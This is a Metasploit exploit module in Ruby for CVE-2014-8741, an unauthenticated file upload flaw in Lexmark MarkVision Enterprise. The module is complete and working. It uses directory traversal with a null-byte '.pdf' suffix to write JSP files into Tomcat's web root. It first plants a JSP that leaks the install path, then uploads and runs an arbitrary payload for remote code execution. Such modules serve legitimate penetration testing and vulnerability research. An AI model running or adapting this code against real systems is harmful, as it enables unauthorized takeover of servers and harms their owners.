##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Lexmark MarkVision Enterprise Arbitrary File Upload',
'Description' => %q{
This module exploits a code execution flaw in Lexmark MarkVision Enterprise before 2.1.
A directory traversal in the GfdFileUploadServlet servlet allows an unauthenticated
attacker to upload arbitrary files, including arbitrary JSP code. This module has been
tested successfully on Lexmark MarkVision Enterprise 2.0 with Windows 2003 SP2.
},
'Author' =>
[
'Andrea Micalizzi', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8741'],
['ZDI', '14-410'],
['URL', 'http://support.lexmark.com/index?page=content&id=TE666&locale=EN&userlocale=EN_US']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'Lexmark Markvision Enterprise 2.0', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 09 2014'))
register_options(
[
Opt::RPORT(9788),
OptString.new('TARGETURI', [true, 'ROOT path', '/'])
], self.class)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, 'mve', 'help', 'en', 'inventory', 'am_about.html')
})
version = nil
if res && res.code == 200 && res.body && res.body.to_s =~ /MarkVision Enterprise ([\d\.]+)/
version = $1
else
return Exploit::CheckCode::Unknown
end
if Gem::Version.new(version) <= Gem::Version.new('2.0.0')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
jsp_leak = jsp_path
jsp_name_leak = "#{rand_text_alphanumeric(4 + rand(32 - 4))}.jsp"
# By default files uploaded to C:\Program Files\Lexmark\Markvision Enterprise\apps\library\gfd-scheduled
# Default app folder on C:\Program Files\Lexmark\Markvision Enterprise\tomcat\webappps\ROOT
traversal_leak = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_name_leak}\x00.pdf"
print_status("#{peer} - Uploading info leak JSP #{jsp_name_leak}...")
if upload_file(traversal_leak, jsp_leak)
print_good("#{peer} - JSP successfully uploaded")
else
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
end
res = execute(jsp_name_leak)
if res && res.code == 200 && res.body.to_s !~ /null/ && res.body.to_s =~ /Path:(.*)/
upload_path = $1
print_good("#{peer} - Working directory found in #{upload_path}")
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_name_leak))
else
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")
end
jsp_payload_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"
jsp_payload = payload.encoded
traversal_payload = "/..\\..\\..\\tomcat\\webapps\\ROOT\\#{jsp_payload_name}\x00.pdf"
print_status("#{peer} - Uploading JSP payload #{jsp_payload_name}...")
if upload_file(traversal_payload, jsp_payload)
print_good("#{peer} - JSP successfully uploaded")
register_file_for_cleanup(::File.join(upload_path, 'webapps', 'ROOT', jsp_payload_name)) if upload_path
else
fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
end
print_status("#{peer} - Executing payload...")
execute(jsp_payload_name, 3)
end
def upload_file(filename, contents)
good_signature = rand_text_alpha(4 + rand(4))
bad_signature = rand_text_alpha(4 + rand(4))
post_data = Rex::MIME::Message.new
post_data.add_part(good_signature, nil, nil, 'form-data; name="success"')
post_data.add_part(bad_signature, nil, nil, 'form-data; name="failure"')
post_data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"datafile\"; filename=\"#{filename}\"")
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'mve', 'upload', 'gfd'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
})
if res && res.code == 200 && res.body && res.body.to_s.include?(good_signature)
return true
else
return false
end
end
def execute(jsp_name, time_out = 20)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, jsp_name),
'method' => 'GET'
}, time_out)
res
end
def jsp_path
jsp =<<-EOS
<%@ page language="Java" import="java.util.*"%>
<%
out.println("Path:" + System.getProperty("catalina.home"));
%>
EOS
jsp
end
end
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